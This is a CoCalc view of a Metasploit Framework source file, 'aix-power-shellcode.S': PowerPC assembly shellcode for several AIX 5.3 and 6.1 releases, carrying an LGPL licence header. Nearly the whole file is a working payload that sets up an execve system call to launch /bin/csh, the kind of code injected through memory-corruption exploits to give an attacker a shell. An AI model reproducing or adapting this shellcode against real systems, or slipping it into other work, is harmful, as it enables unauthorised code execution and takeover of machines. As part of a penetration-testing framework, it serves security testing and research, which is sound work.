CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/unixasm/aix-power-shellcode.S
Views: 11766
1
/*
2
* aix-power-shellcode.S
3
* Copyright 2008 Ramon de Carvalho Valle <[email protected]>
4
*
5
* This library is free software; you can redistribute it and/or
6
* modify it under the terms of the GNU Lesser General Public
7
* License as published by the Free Software Foundation; either
8
* version 2.1 of the License, or (at your option) any later version.
9
*
10
* This library is distributed in the hope that it will be useful,
11
* but WITHOUT ANY WARRANTY; without even the implied warranty of
12
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
13
* Lesser General Public License for more details.
14
*
15
* You should have received a copy of the GNU Lesser General Public
16
* License along with this library; if not, write to the Free Software
17
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
18
*
19
*/
20
21
/*
22
* Supported AIX versions:
23
*
24
* -DAIX614 AIX Version 6.1.4
25
* -DAIX613 AIX Version 6.1.3
26
* -DAIX612 AIX Version 6.1.2
27
* -DAIX611 AIX Version 6.1.1
28
* -DAIX5310 AIX Version 5.3.10
29
* -DAIX539 AIX Version 5.3.9
30
* -DAIX538 AIX Version 5.3.8
31
* -DAIX537 AIX Version 5.3.7
32
*
33
*/
34
35
#include "aix-power.h"
36
37
.globl .main
38
.csect .text[PR]
39
40
.main:
41
42
shellcode:
43
lil %r29,__CAL
44
xor. %r5,%r5,%r5
45
bnel shellcode
46
mflr %r30
47
cal %r30,511(%r30)
48
cal %r3,-511+40(%r30)
49
stb %r5,-511+48(%r30)
50
stu %r5,-4(%r1)
51
stu %r3,-4(%r1)
52
mr %r4,%r1
53
cal %r2,__NC_execve(%r29)
54
crorc %cr6,%cr6,%cr6
55
.long 0x44ffff02
56
.asciz "/bin/csh"
57
58
59